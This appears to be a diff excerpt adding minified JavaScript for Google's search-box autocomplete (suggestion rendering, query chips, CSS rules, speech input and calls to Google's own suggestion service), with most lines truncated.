+"relative";C=_.cj.oa();C.className="gssb_g";K.Ge&&(C.style.paddingBottom="1px");var s=_.kCa;v(K.Ok,C,s.Xs);K.nq?v(K.Sd,C,s.Ls):K.qq&&v(K.uq,C,s.Ys);f.appendChild(C);e.appendChild(f);Fa=e.parentNode}else 2==e?ra?Aa.appendChild(ra):(e=r(),f=e.style,f.padding="1px 4px 2px 0",f.fontSize="11px",f.textAlign="right",f=_.cj.R("a"),f.id="gssb_b",f.href="http://www.google.com/support/websearch/bin/answer.py?hl="+K.Pc+"&answer=106230",f.innerHTML=K.Nk,e.appendChild(f),ra=e.parentNode):3==e?(e=Q.pop [...]
+(e=R.insertRow(-1),e.Pm=_.j,e=e.insertCell(-1),f=_.cj.R("div","gssb_l"),e.appendChild(f)):q(e)&&(c=_.j);return c}function f(a){s(a,Da);var b=t.ha();b&&u.da(9,{index:a,Bz:b[a],Cz:L[a]})}function g(a){s(a,"");u.da(10)}function h(){for(var a,b,c;c=y.pop();)a=c.C(),(b=Z[a])||(b=Z[a]=[]),b.push(c),a=c.Z(),a.parentNode.removeChild(a);for(;a=Aa.firstChild;)a=Aa.removeChild(a),a.Pm?Q.push(a):a!=Fa&&a!=ra&&G.push(a);L=[]}function i(a){return(a=L[a])?a.Da():_.m}function n(){z()}function p(){return [...]
+da==P?S:_.l}function q(a){var b=a.C(),c=x[b];if(!c)return _.m;var d=(b=Z[b])&&b.pop();d||(d=c.tb(I));c.render(a,d);y.push(d);var e=d.Z(),b=r();b.className="gssb_a "+K.we;b.appendChild(e);if(a.Ma!==_.ba){L.push(d);var d=P,f=a.Ma();e.onmouseover=function(){t.ak(f)};e.onmouseout=function(){t.tq()};e.onclick=function(b){w.Ed();a.Rc()&&w.Qb(a.Q());t.vm(f);b=b||_.cj.Hc(e).event;c.Ha(b,a,I)}}else d=da;_.cj.dj(b,d);return _.j}function v(a,b,c){var d=_.cj.R("input");d.type="button";d.value=_.cj.u [...]
+d.onclick=function(){I.search(w.la(),c)};var e;if(K.Sk){a="lsb";e=_.cj.R("span");var f=_.cj.R("span");e.className="ds";f.className="lsbb";e.appendChild(f);f.appendChild(d)}else a="gssb_h",e=d;d.className=a;b.appendChild(e)}function r(){var a=G.pop();if(a)return Aa.appendChild(a),a.firstChild;a=R.insertRow(-1);a=a.insertCell(-1);a.className=K.we;a.onmousedown=A;return a}function s(a,b){var c=L[a];c&&c.Da()&&(c.Z().parentNode.parentNode.className=b)}function A(a){a=a||_.cj.Hc(R).event;a.st [...]
+a.stopPropagation():_.cj.rd||_.cj.Ea&&w.fg();return _.m}function z(){if(C){var a=K.rk?K.rk:w.getWidth()-3;0<a&&(C.style.width=a+"px")}}var t,u,w,x,I,O,K,Z={},y=[],G=[],Q=[],L=[],S,P,da,R,Aa,Fa,C,ra,Da,N={W:function(a,b){O=a;da=a.Yc();b.addRule(".gssb_a","padding:0 7px");b.addRule(".gssb_a,.gssb_a td","white-space:nowrap;overflow:hidden;line-height:22px");b.addRule("#gssb_b","font-size:11px;color:#36c;text-decoration:none");b.addRule("#gssb_b:hover","font-size:11px;color:#36c;text-decorat [...]
+b.addRule(".gssb_g","text-align:center;padding:8px 0 7px;position:relative");b.addRule(".gssb_h",["font-size:15px;height:28px;margin:0.2em",_.cj.Lc?";-webkit-appearance:button":""].join(""));b.addRule(".gssb_i","background:#eee");b.addRule(".gss_ifl","visibility:hidden;padding-left:5px");b.addRule(".gssb_i .gss_ifl","visibility:visible");b.addRule("a.gssb_j","font-size:13px;color:#36c;text-decoration:none;line-height:100%");b.addRule("a.gssb_j:hover","text-decoration:underline");b.addRul [...]
+"height:1px;background-color:#e5e5e5");b.addRule(".gssb_m","color:#000;background:#fff")},L:function(a){var b=_.m4;t=a.get(b.ga,N);u=a.get(b.ea,N);w=a.get(b.Y,N);I=a.get(b.Qa,N);x=_.cj.lg(a.ma(b.RENDERER,N))},T:function(a){K=a;R=_.cj.ic();a=_.cj.R("tbody");R.appendChild(a);Aa=R.getElementsByTagName("tbody")[0]},K:function(a){K=a;var b=a.Ld;b&&(S=O.Va(b));R.className=a.Yp||"gssb_m";Da=a.Xp||"gssb_i"},C:(0,_.E)(129),G:function(){return _.cj.A.Tc},F:function(){return{Tm:a,Wb:d,Gd:c,Bc:b,ren [...]
+Gb:g,clear:h,Da:i,Sb:n,Z:p,$c:k}}};return N};_.cj.A.Tc=18;_.cj.J.register(129,_.cj.A.Tc,_.cj.Il);
+_.cj.Ri=function(){function a(a){h(a);if(k)for(var b=0;b<k.length;++b)k[b].update(a)}function b(a){var b=p[a.Eh()]||_.l,c=_.m;if(b)++q,c=_.j;else if(k)for(var d=0;d<k.length;++d)if(b=k[d].get(a)){h(b);++v;break}b&&(d=a.U(),d!=b.U()?b=_.cj.gc(a,d,b.ha(),b.O(),b.sg(),b.od(),c,b.Ph()):c&&b.Uh());return b}function c(){return q}function d(){return v}function e(){v=q=0}function f(a){var b,c,d,e;for(e in p){b=p[e];b=b.ha();for(d=0;c=b[d++];)if(c.C()==a){delete p[e];break}}i()}function g(){p={}; [...]
+a.od()&&(p[a.Ta().Eh()]=a)}function i(){if(k)for(var a=0;a<k.length;++a)k[a].reset()}function n(a,b){return b.ja()-a.ja()}var p={},k,q,v,r={L:function(a){k=a.ma(151,r);k.sort(n)},K:function(){e()},C:(0,_.E)(133),G:function(){return _.cj.A.Mc},F:function(){return{put:a,get:b,Jn:c,vf:d,Eb:e,Hn:f,Wk:g}}};return r};_.cj.A.Mc=21;_.cj.J.register(133,_.cj.A.Mc,_.cj.Ri);
+_.cj.Pk=function(a,b,c,d,e,f,g,h,i,n,p,k,q,v,r){var s={Dr:function(){return a},ja:function(){return b},Xr:function(){return c},Wr:function(){return d},tx:function(){return e},sx:function(){return f},Vr:function(){return g},Mb:function(a,b){return h?h(s,a,b):_.m},Ak:function(){return i},Zh:function(){return n},nb:function(){return p},Ye:function(){return k},wx:function(a){return q?q(s,a):_.j},remove:function(a){v&&v(s,a)},Mw:function(){return r},equals:function(d){return s==d||d&&d.Dr()== [...]
+b&&d.Xr()==c}};return s};
+_.cj.Mp=function(){function a(a){if(f(a))return _.m;var b=y[G];n(b);y.push(a);y.sort(u);var c=w(a);I.Ax(a,c);b&&i(b);x();return _.j}function b(b){b=_.cj.br(b||window.location.href);for(var c=y.length,d;d=y[--c];)d.wx(b)||p(d,_.m);for(c=0;d=Z[c++];)if(d=d.Sr(b))for(var e=0,f;f=d[e++];)a(f)}function c(){for(var a=y.length,b;b=y[--a];)if(b=b.Vr())return b;return""}function d(){return!!y.length}function e(){return-1!=G}function f(a){return-1!=w(a)}function g(a){return e()&&w(a)==G}function h [...]
+1])}function i(a){a=w(a);a!=G&&(e()&&I.Gb(G),O.Ed(),G=a,e()&&I.eg(G))}function n(a){e()&&(a=w(a),I.Gb(a),a==G&&(G=-1))}function p(a,b){var c=w(a);if(-1==c)return _.m;var d=y[G];n(d);y.splice(c,1);I.sq(c);d&&i(d);x();a.remove(!!b);O.ie();b&&O.dr();return _.j}function k(){0<G&&(I.Gb(G),--G,I.eg(G))}function q(){e()&&(G+1==y.length?(I.Gb(G),G=-1,O.ie()):(I.Gb(G),++G,I.eg(G)))}function v(){p(y[G],_.j)}function r(){e()&&(n(y[G]),O.ie())}function s(){return Q}function A(){for(var a=0,b;b=y[a++ [...]
+return _.m}function z(){for(var a=y.length,b;b=y[--a];)if(b=b.Ye())return b;return""}function t(){return y.slice(0)}function u(a,b){return a.ja()-b.ja()}function w(a){for(var b=0,c=y.length;b<c;++b)if(y[b].equals(a))return b;return-1}function x(){for(var a=0,b;b=y[a++];)if(b.Ak()){K.Ef(_.m);Q=_.j;return}K.Ef(_.j);Q=_.m}var I,O,K,Z,y=[],G=-1,Q=_.m,L={L:function(a){var b=_.m4;I=a.get(b.Wf,L);O=a.get(b.Y,L);K=a.get(b.ga,L);Z=a.ma(b.Bf,L)},K:function(){b()},C:(0,_.E)(130),G:function(){return [...]
+F:function(){return{B:a,Dg:b,Vr:c,Mb:d,Ic:e,isActive:f,cB:g,Vj:h,select:i,dt:n,sq:p,$r:k,Zr:q,zx:v,lx:r,Ak:s,nb:A,Ye:z,px:t}}};return L};_.cj.A.zb=22;_.cj.J.register(130,_.cj.A.zb,_.cj.Mp);_.cj.Qw=function(){function a(a,b){for(var e=c.DONT_CARE,i=d.px(),n=0,p;p=i[n++];)p.Mb(a,b)&&(e=c.Bh);return e}function b(){return 11}var c=_.pCa,d,e={L:function(a){d=a.get(130,e)},K:(0,_.ea)(),C:(0,_.E)(156),G:function(){return _.cj.A.Pr},F:function(){return{Ib:a,ja:b}}};return e};_.cj.A.Pr=112;
+_.cj.J.register(156,_.cj.A.Pr,_.cj.Qw);_.dj.Ir=_.l;
+_.cj.Ir=function(){function a(a,b){function c(){var a=_.cj.R("span","gscp_e");d.appendChild(a)}var d=_.cj.R("a","gscp_a");p&&(d.style.margin=p+"px");n&&(d.style.height=d.style.lineHeight=n+"px");d.href="#";d.onclick=function(){h.defer(function(){f.select(a)});return _.m};d.onfocus=function(){f.select(a)};d.onblur=function(){f.dt(a)};d.onkeydown=e;var g=a.Xr();if(g){var k=a.tx(),t=a.sx();if(a.Wr()){var u=_.cj.R("span","gscp_f"),w=u.style;w.width=k+"px";w.height=t+"px";w.background=["url(" [...]
+a.Wr()].join("")}else u=_.cj.R("img","gscp_f"),u.src=g,u.width=k,u.height=t;t<n&&(u.style.marginBottom=(n-t)/2+"px");d.appendChild(u)}c();g=_.cj.R("span","gscp_c");_.cj.nk(g,a.Dr());d.appendChild(g);a.Zh()?(g=_.cj.R("span","gscp_d"),g.innerHTML="×",g.onclick=function(b){f.sq(a,_.j);return _.cj.gb(b)},d.appendChild(g)):c();i&&(b>=i.childNodes.length?i.appendChild(d):i.insertBefore(d,i.childNodes[b]))}function b(a){if(a=i.childNodes[a])a.className="gscp_a gscp_b",a.focus()}function c [...]
+i.childNodes[a])a.className="gscp_a"}function d(a){i.removeChild(i.childNodes[a])}function e(a){a=a||window.event;var b=_.o4,c=a.keyCode,d="rtl"==g.vc();switch(c){case b.Wj:d?f.Zr():f.$r();break;case b.Xj:d?f.$r():f.Zr();break;case b.Qj:case b.Yj:f.zx();break;case b.ue:case b.Zq:f.lx();default:return}_.cj.gb(a)}var f,g,h,i,n,p,k={W:function(a,b){b.addRule(".gscp_a,.gscp_c,.gscp_d,.gscp_e,.gscp_f","display:inline-block;vertical-align:bottom");b.addRule(".gscp_f","border:none");b.addRule(" [...]
+["background:#d9e7fe;border:1px solid #9cb0d8;cursor:default;outline:none;text-decoration:none!important;",b.prefix("user-select:none;")].join(""));b.addRule(".gscp_a:hover","border-color:#869ec9");b.addRule(".gscp_a.gscp_b","background:#4787ec;border-color:#3967bf");b.addRule(".gscp_c","color:#444;font-size:13px;font-weight:bold");b.addRule(".gscp_d","color:#aeb8cb;cursor:pointer;font:21px arial,sans-serif;line-height:inherit;padding:0 7px");if(_.cj.sr||_.cj.wk&&_.cj.rr)b.addRule(".gscp [...]
+_.cj.Ea&&b.addRule(".gscp_c","position:relative;top:1px");b.addRule(".gscp_a:hover .gscp_d","color:#575b66");b.addRule(".gscp_c:hover,.gscp_a .gscp_d:hover","color:#222");b.addRule(".gscp_a.gscp_b .gscp_c,.gscp_a.gscp_b .gscp_d","color:#fff");b.addRule(".gscp_e","height:100%;padding:0 4px")},L:function(a){var b=_.m4;f=a.get(b.zb,k);g=a.get(b.Y,k);h=a.get(b.ea,k)},T:function(a){a.xa[130]&&(p=a.$q,i=g.xg(),(a=a.ng)&&(n=a-2*(p+1)))},C:(0,_.E)(131),G:function(){return _.cj.A.Wf},F:function() [...]
+eg:b,Gb:c,sq:d}}};return k};_.cj.A.Wf=23;_.cj.J.register(131,_.cj.A.Wf,_.cj.Ir);_.dj.NB=_.l;
+_.cj.Wx=function(){function a(){p&&i.Xq(h)}function b(){p&&i.Dp(h)}function c(){p&&n.Xq(h)}function d(){p&&n.Dp(h)}var e,f,g,h,i,n,p=_.m,k={W:function(a,b){function c(a){return["box-shadow:",a,"-moz-box-shadow:",a,"-webkit-box-shadow:",a].join("")}g=a;b.addRule(".gsfe_a",["border:1px solid #b9b9b9;border-top-color:#a0a0a0;",c("inset 0px 1px 2px rgba(0,0,0,0.1);")].join(""));b.addRule(".gsfe_b",["border:1px solid #4d90fe;outline:none;",c("inset 0px 1px 2px rgba(0,0,0,0.3);")].join(""))},L [...]
+_.m4;e=a.get(b.ea,k);f=a.get(b.Y,k)},T:function(f){var k=f.Np;if(h=k?g.Va(k):_.l)e.Db(_.n4.Ar,c),e.Db(_.n4.zr,d),e.qa(h,"mouseover",a),e.qa(h,"mouseout",b),i=_.cj.Vq(f.jr||"gsfe_a"),n=_.cj.Vq(f.ir||"gsfe_b")},K:function(){p=_.j;h&&f.or()&&n.Xq(h)},C:(0,_.E)(159),G:function(){return _.cj.A.kt},$:function(){p=_.m;h&&(i.Dp(h),n.Dp(h))}};return k};_.cj.A.kt=190;_.cj.J.register(159,_.cj.A.kt,_.cj.Wx);_.dj.Vq=_.l;
+_.cj.Vq=function(a){var b=(0,window.RegExp)("(?:^|\\s+)"+a+"(?:$|\\s+)");return{Xq:function(c){c&&!b.test(c.className)&&(c.className+=" "+a)},Dp:function(a){a&&(a.className=a.className.replace(b," "))}}};_.dj.uj=_.l;
+_.cj.uj=function(){function a(a){a=f.getWidth(a);var b=d.wf();return a<b}function b(a){c(a,_.j)}function c(b,c){if(g&&a(d.la())){if(!h||c)e.da(6,b),h=_.j}else h&&(e.da(7),h=_.m)}var d,e,f,g,h=_.j,i={L:function(a){var b=_.m4;e=a.get(b.ea,i);d=a.get(b.Y,i);f=a.get(b.Cb,i)},T:function(){var a=e.Db;a(_.n4.ll,b);a(_.n4.hg,b);a(_.n4.jg,b);a(_.n4.Jj,c)},K:function(a){g=!!a.xa[136];c(_.l,_.j)},C:(0,_.E)(136),G:function(){return _.cj.A.La},F:function(){return{Mk:a}}};return i};_.cj.A.La=46;
+_.cj.J.register(136,_.cj.A.La,_.cj.uj);_.dj.vj=_.l;
+_.cj.vj=function(){function a(){return d}var b,c,d,e,f={W:function(a){e=a},L:function(a){b=a.get(_.m4.kb,f);c=a.Fb()},T:function(){d=e.get("gs_lc");if(!d){d=_.cj.oa();d.id=e.getId("gs_lc");d.style.position="relative";var a=c.Ac(),f=e.nd().style;2==a&&(f.overflow="hidden");f.background="transparent url(data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw%3D%3D)";f.position="absolute";f.zIndex=6;b.Qn(d)}},C:(0,_.E)(141),G:function(){return _.cj.A.yb},F:function( [...]
+return f};_.cj.A.yb=43;_.cj.J.register(141,_.cj.A.yb,_.cj.vj);_.dj.Nq=_.l;
+_.cj.Nq=function(){function a(){return i}function b(){g&&i&&!e.la()?h||(d.show(),h=_.j):c()}function c(){h&&(d.hide(),h=_.m)}var d,e,f,g,h=_.j,i,n={L:function(a){var b=_.m4;d=a.get(b.Nd,n);e=a.get(b.Y,n);f=a.get(b.ea,n)},T:function(){var a=f.Db;a(_.n4.Mi,b);a(_.n4.hg,b);a(_.n4.jg,b);a(_.n4.Li,c)},K:function(a){g=!!a.xa[135];d.Bb(e.vc());a=a.Gh||"";i!=a&&(i=a,d.refresh());b()},C:(0,_.E)(135),G:function(){return _.cj.A.Ua},F:function(){return{la:a}}};return n};_.cj.A.Ua=38;
+_.cj.J.register(135,_.cj.A.Ua,_.cj.Nq);_.dj.Oq=_.l;
+_.cj.Oq=function(){function a(){var a=e.la();k?_.cj.xc(p,_.cj.escape(a)):p.value!=a&&(p.value=a)}function b(){p.style.visibility=""}function c(){p.style.visibility="hidden"}function d(a){_.cj.ej(p,a)}var e,f,g,h,i,n,p,k,q={W:function(a){i=a},L:function(a){var b=_.m4;e=a.get(b.Ua,q);f=a.get(b.yb,q);g=a.Fb()},T:function(a){n=f.jj();h=g.getId();k=2==g.Ac();var b=(k?"gs_htd":"gs_htif")+h,c=i.Va(b);c?p=c:(k?c=_.cj.cg(a.Nb,1):(c=_.cj.R("input",a.Nb),c.disabled="disabled",c.autocapitalize=c.aut [...]
+c.autocorrect="off",_.cj.Hh(c),a=c.style,a.position="absolute",a.zIndex=1,a.backgroundColor="transparent",a.outline="",_.cj.Lc&&(a.WebkitTextFillColor="silver")),c.id=b,c.style.color="silver",n.appendChild(c),p=c)},C:(0,_.E)(140),G:function(){return _.cj.A.Nd},F:function(){return{refresh:a,show:b,hide:c,Bb:d}}};return q};_.cj.A.Nd=42;_.cj.J.register(140,_.cj.A.Nd,_.cj.Oq);
+_.cj.Ns=function(){function a(a){return _.cj.Os(e,a)}function b(a,b){b.render(a.$a(),a.Q(),f)}function c(a,b,c){c.search(b.Q(),1)}function d(){return 38}var e,f,g={W:function(a,b){b.addRule(".gsmq_a","padding:0")},L:function(a){e=a.get(118,g)},K:function(a){f=a.le?a.Sd:""},C:(0,_.E)(152),G:function(){return _.cj.A.cq},F:function(){return{tb:a,render:b,Ha:c,vb:_.cj.P,ub:d}}};return g};_.cj.A.cq=94;_.cj.J.register(152,_.cj.A.cq,_.cj.Ns);
+_.cj.Os=function(a,b){var c,d,e,f,g;c=_.cj.oa();c.className="gsmq_a";var h=_.cj.ic();c.appendChild(h);d=h.insertRow(-1);h=d.insertCell(-1);h.style.width="100%";e=_.cj.R("span");h.appendChild(e);return{Z:function(){return c},C:(0,_.E)(38),Da:(0,_.E)(_.j),render:function(c,h,p){e.innerHTML=c;g=h;p&&!f&&(f=_.cj.vg(d),f.onclick=function(c){a.Ed();a.Qb(g);b.search(g,9);return _.cj.gb(c)});p?(f.innerHTML=p+" »",f.style.display=""):f&&(f.style.display="none")}}};
+_.cj.Ps=function(){function a(a,b){if(c&&b){var f=b.O().V("i");a.setParameter("gs_mss",f)}return 1}function b(){return 7}var c;return{K:function(a){c=!!a.xa[_.cj.A.Gf]},C:(0,_.E)(156),G:function(){return _.cj.A.Gf},F:function(){return{Ib:a,ja:b}}}};_.cj.A.Gf=49;_.cj.J.register(156,_.cj.A.Gf,_.cj.Ps);
+_.cj.Rs=function(){function a(a){p=a.mk;k=a.il;q=a.$k;v=a.le?a.Sd:""}function b(a){return _.cj.Ss(f,g,h,i,n,a,p,q)}function c(a,b){b.render(a.$a(),a.Q(),a.Ma(),k,v)}function d(a,b,c){c.search(b.Q(),1)}function e(){return 35}var f,g,h,i,n,p,k,q,v,r={W:function(a,b){b.addRule("a.gspqs_a","padding:0 3px 0 8px");b.addRule(".gspqs_b","color:#666;line-height:22px")},L:function(a){var b=_.m4;h=a.get(b.ya,r);i=a.get(b.Y,r);g=a.get(b.gd,r);f=a.get(b.xb,r);n=a.get(b.ga,r)},T:a,K:a,C:(0,_.E)(152),G [...]
+F:function(){return{tb:b,render:c,Ha:d,vb:_.cj.P,ub:e}}};return r};_.cj.A.Pq=33;_.cj.J.register(152,_.cj.A.Pq,_.cj.Rs);
+_.cj.Ss=function(a,b,c,d,e,f,g,h){function i(a){w=_.j;b.jl(z,n);return _.cj.gb(a)}function n(){w&&(c.In(35),a.Gq(),p.onmouseover=p.onmouseout=p.onclick=_.l,k.style.display="none",q.style.display="",e.qj()==t&&d.Dj(),e.Iq()==t&&(e.Bq(),d.ie()),u=_.m)}var p,k,q,v,r,s,A,z,t,u=_.j,w=_.m;p=_.cj.oa();p.className="gsq_a";A=_.cj.ic();p.appendChild(A);k=A.insertRow(-1);var x=k.insertCell(-1);v=_.cj.R("span");v.style.color="#52188c";x.appendChild(v);if(0!=g){s=_.cj.R("a");s.href="#ps";s.className= [...]
+var I=k.insertCell(-1);I.appendChild(s);(2==g?I:x).style.width="100%";q=A.insertRow(-1);A=q.insertCell(-1);A.className="gspqs_b";A.innerHTML=h;A.colSpan="2"}return{Z:function(){return p},C:(0,_.E)(35),Da:function(){return u},render:function(a,b,c,e,h){w=_.m;u=_.j;z=b;t=c;k.style.display="";v.innerHTML=a;0!=g&&(q.style.display="none",s.innerHTML=e,s.onclick=i);h&&!r&&(r=_.cj.vg(k),r.onclick=function(a){d.Ed();d.Qb(z);f.search(z,9);return _.cj.gb(a)});h?(r.innerHTML=h+" »",r.style.di [...]
+r&&(r.style.display="none")}}};
+_.cj.Cl=function(){function a(a){var b={};if(g)if(f)b.tok=e;else if(k&&n){var c=k.Wg(a),q=k.zj(n);a=k.Bj(a,q);a=k.Wg(a);b.qe=c;b.qesig=a;b.pkc=p;g&&(h&&i&&828E5<_.cj.getTime()-i)&&d.vq()}return b}function b(a,b){d.Et(a,b)}function c(a){n=a.websafe_signing_key;p=a.pkc;i=_.cj.getTime()}var d,e,f,g,h,i,n,p,k,q={L:function(a){var b=_.m4;d=a.get(b.Ee,q);k=a.get(b.dd,q)},K:function(a){f="https:"==window.document.location.protocol||a.ug;e=a.hf;a=!!a.Ga[_.k4.Ch];g=!(!d||!e||!a);h=!f;g&&h&&d.vq() [...]
+G:function(){return _.cj.A.gd},F:function(){return{ot:a,jl:b,Ft:c}}};return q};_.cj.A.gd=188;_.cj.J.register(189,_.cj.A.gd,_.cj.Cl);_.dj.gq=_.l;
+_.cj.gq=function(){function a(){var a=[];_.cj.Na("callback","google.sbox.hi"+i,a);c(n,a)}function b(a,b){s[a]=b;var d=[];_.cj.Na("delq",a,d);_.cj.Na("client",v,d);_.cj.Na("callback","google.sbox.d"+i,d);c(p,d)}function c(a,b){_.cj.Na("tok",k,b);q&&_.cj.Na("authuser",q,b);r=_.cj.R("script");r.src=a+b.join("&");g.appendChild(r)}function d(){r&&(g.removeChild(r),r=_.l)}function e(a){d();h.Ft(a)}function f(a){d();a=a[0];var b=s[a];b&&(delete s[a],b())}var g=_.cj.Fg(),h,i,n,p,k,q,v,r,s={},A={ [...]
+a.get(_.m4.gd,A);i=a.Fb().getId()},T:function(){var a=window.google.sbox;a["hi"+i]=e;a["d"+i]=f},K:function(a){var b=a.Cj||"clients1."+a.qg;n="https://"+b+_.vCa.Ms+"?";p="https://"+b+_.vCa.Ws+"?";k=a.hf;q=a.authuser;v=a.Yd},C:(0,_.E)(134),G:function(){return _.cj.A.Ee},F:function(){return{vq:a,Et:b}},$:function(){d()}};return A};_.cj.A.Ee=186;_.cj.J.register(134,_.cj.A.Ee,_.cj.gq);
+_.cj.Qs=function(){function a(a){var b=c.ot(a.U()),d;for(d in b)a.setParameter(d,b[d]);return 1}function b(){return 12}var c,d={L:function(a){c=a.get(_.m4.gd,d)},C:(0,_.E)(156),G:function(){return _.cj.A.iq},F:function(){return{Ib:a,ja:b}}};return d};_.cj.A.iq=187;_.cj.J.register(156,_.cj.A.iq,_.cj.Qs);_.dj.Vs=_.l;
+_.cj.Vs=function(){function a(){return p?[_.cj.Pk(i,0,f,"",g,h,n,_.l,_.m,_.j,_.j,"",_.l,b,_.l)]:[]}function b(a,b){if(b){var d={},f=_.cj.Ng(c,"tbs");if(f){var g={};g.tbs=f.value;d.tbs=window.google.Toolbelt.unset("sbi",g).tbs}d.tbm="isch";_.cj.re(c,d);e.la()&&c.submit()}}var c,d,e,f,g,h,i,n,p;d={K:function(a){p=!!a.Aj[_.cj.A.Wq]},$:_.cj.P,T:_.cj.P,C:(0,_.E)(155),G:function(){return _.cj.A.Wq},F:function(){return{Sr:a}},Jc:_.cj.P,W:function(a){c=a.Of()},L:function(a){e=a.get(118,k)}};var [...]
+Hy:function(a,b,c,d,e){f=a;g=b;h=c;i=d;n=e}};return k};_.cj.A.Wq=183;
+_.cj.lq=function(a){function b(a){return p&&n==a.U()?_.cj.gc(a,n,p,_.cj.Le,_.j,_.m,_.m,_.m):_.l}function c(a){return!!a&&0<=a.indexOf("**")}function d(a,b){b=_.cj.escape(b);a=_.cj.escape(_.cj.Pb(a,_.cj.Jg));for(var c=a.split(" "),d=b.split(" "),e,g=0;g<d.length;++g)e=d[g],0>c.indexOf(e)&&(d[g]=e.bold());return d.join(" ").replace(f," ")}function e(b){b=b&&b.results?b.results:[];var e=window.Math.min(b.length,3);n=b[0].utterance;h.add(6);if(a&&!c(n))p=_.l,i.search(n,15);else{p=[];for(var [...]
+b[f].utterance;c(g)||p.push(_.cj.Ub(d(n,g),g,f,40,_.l))}}}var f=/<\/b> <b>/gi,g,h,i,n,p,k,q={W:function(a){k=a.nd()},L:function(a){var b=_.m4;g=a.get(b.ea,q);h=a.get(b.za,q);i=a.get(b.Qa,q)},T:function(a){k.setAttribute("x-webkit-speech","");k.setAttribute("x-webkit-grammar","builtin:search");""!=a.Pc&&k.setAttribute("lang",a.Pc);(a=window.google.listen)?a(k,"webkitspeechchange",e):g.listen(k,"webkitspeechchange",e)},C:(0,_.E)(419),G:function(){return _.cj.A.jh},F:function(){return{ry:b, [...]
+_.cj.A.jh=90;_.cj.ey=function(a,b){var c=_.m4,d=_.cj.lq(b);a[c.jh]=d;_.cj.lc(a,c.Pi,_.cj.hy());_.cj.lc(a,c.RENDERER,_.cj.fy())};
+_.cj.fy=function(){function a(a){return _.cj.gy(e,a)}function b(a,b){b.render(a.$a(),a.Q(),f)}function c(a,b,c){c.search(b.Q(),1)}function d(){return 40}var e,f,g={W:function(a,b){b.addRule(".gsq_a","padding:0")},L:function(a){e=a.get(118,g)},K:function(a){f=a.le?a.Sd:""},C:(0,_.E)(152),G:function(){return _.cj.A.Oy},F:function(){return{tb:a,render:b,Ha:c,vb:_.cj.P,ub:d}}};return g};_.cj.A.Oy=30;
+_.cj.gy=function(a,b){var c,d,e,f,g;c=_.cj.oa();c.className="gsq_a";var h=_.cj.ic();c.appendChild(h);d=h.insertRow(-1);h=d.insertCell(-1);h.style.width="100%";e=_.cj.R("span");h.appendChild(e);return{Z:function(){return c},C:(0,_.E)(40),Da:(0,_.E)(_.j),render:function(c,h,p){e.innerHTML=c;g=h;p&&!f&&(f=_.cj.vg(d),f.onclick=function(c){a.Ed();a.Qb(g);b.search(g,9);return _.cj.gb(c)});p?(f.innerHTML=p+" »",f.style.display=""):f&&(f.style.display="none")}}};
+_.cj.hy=function(){function a(){return 1}function b(a){var b=_.l;c&&(b=c.ry(a));return b}var c,d={C:(0,_.E)(151),L:function(a){c=a.get(419,d)},G:function(){return _.cj.A.Py},F:function(){return{ja:a,update:_.cj.P,get:b,reset:_.cj.P}}};return d};_.cj.A.Py=100;
+_.cj.iy=function(){function a(){if(n&&h.Ka()){var a=i.Oa(),e=f.la();if(_.cj.wc(e)&&g.Mk(e)&&(a&&_.cj.Lb(e,a.U()))&&(a=a.O().V("p"))){e=f.vc();e!=k&&(k=e,d.Bb(e));a=a.replace(c,"<span class=gsc_b>$1</span>");d.refresh(a);p||(d.show(),p=_.j);return}}b()}function b(){p&&(d.hide(),p=_.m)}var c=/<se>(.*?)<\/se>/g,d,e,f,g,h,i,n,p=_.j,k,q={L:function(a){var b=_.m4;e=a.get(b.ea,q);f=a.get(b.Y,q);g=a.get(b.La,q);i=a.get(b.ta,q);h=a.get(b.ga,q);d=a.get(b.ze,q)},T:function(){var c=e.Db;c(_.n4.xr,b) [...]
+b);c(_.n4.hg,b);c(_.n4.jg,a);c(_.n4.yl,a);c(_.n4.Mi,a)},K:function(b){n=!!b.xa[138];a()},C:(0,_.E)(138),G:function(){return _.cj.A.Sc}};return q};_.cj.A.Sc=44;_.cj.J.register(138,_.cj.A.Sc,_.cj.iy);_.dj.Zs=_.l;
+_.cj.Zs=function(){function a(a){_.cj.xc(g,a)}function b(){g.style.visibility=""}function c(){g.style.visibility="hidden";_.cj.xc(g,"")}function d(a){_.cj.ej(g,a)}var e,f,g,h,i={W:function(a,b){h=a;a.Zf()||b.addRule(".gsc_b","background:url(data:image/gif;base64,R0lGODlhCgAEAMIEAP9BGP6pl//Wy/7//P///////////////yH5BAEKAAQALAAAAAAKAAQAAAMROCOhK0oA0MIUMmTAZhsWBCYAOw==) repeat-x scroll 0 100% transparent;display:inline-block;padding-bottom:1px")},L:function(a){e=a.get(141,i)},T:function(a){f [...]
+h.get("gs_sc");b||(b=_.cj.cg(a.Nb,2),b.id=h.getId("gs_sc"),b.style.color="transparent",f.appendChild(b));g=b},C:(0,_.E)(143),G:function(){return _.cj.A.ze},F:function(){return{refresh:a,show:b,hide:c,Bb:d}}};return i};_.cj.A.ze=39;_.cj.J.register(143,_.cj.A.ze,_.cj.Zs);
+_.cj.qk=function(){function a(){return w}function b(a){w=a;f();t&&A.Sf(a)}function c(){var a=v.Oa();if(t&&a&&a.Ka()){var c=a.U();var e=a.Zc();if(c&&e&&e.Rc()){var a=c.replace(i," "),f=_.cj.Pb(a,_.cj.Jg).toLowerCase(),f=f.replace(n,"");z&&(f=z.tl(f));var s=e.mg(),e=(s?_.cj.unescape(s.replace(p,"")):e.Q()).replace(n,"");_.cj.Lb(e,f,_.j)&&((f=e.substr(f.length))&&_.cj.zq(a)&&(f=_.cj.trim(f)),c=c+f)}else c="";b(c)}else d()}function d(){w&&(w="",x=_.m,u&&k.refresh(),A.Tf())}function e(a){if(w [...]
+(!_.cj.wc(b)||w.indexOf(b))&&d()}a.Xa&&k.Bb(a.Xa);g()}function f(){x=t&&!!w&&r.Mk(w)&&q.Tp(w);u?x?k.refresh():h():x&&g()}function g(){!u&&x&&(k.refresh(),k.show(),u=_.j)}function h(){u&&(k.hide(),u=_.m)}var i=/((^|\s)[!"%',:;<>?[\\\]`{|}~]+)|[,\\]+/g,n=/^\+/,p=/<\/?se>/gi,k,q,v,r,s,A,z,t,u=_.j,w,x,I={L:function(a){var b=_.m4;k=a.get(b.Vc,I);s=a.get(b.ea,I);z=a.get(b.Md,I);q=a.get(b.Y,I);r=a.get(b.La,I);v=a.get(b.ta,I);A=a.Wa()},T:function(a){var b=s.Db;b(_.n4.Mi,e);1==a.Pj&&b(_.n4.yl,c); [...]
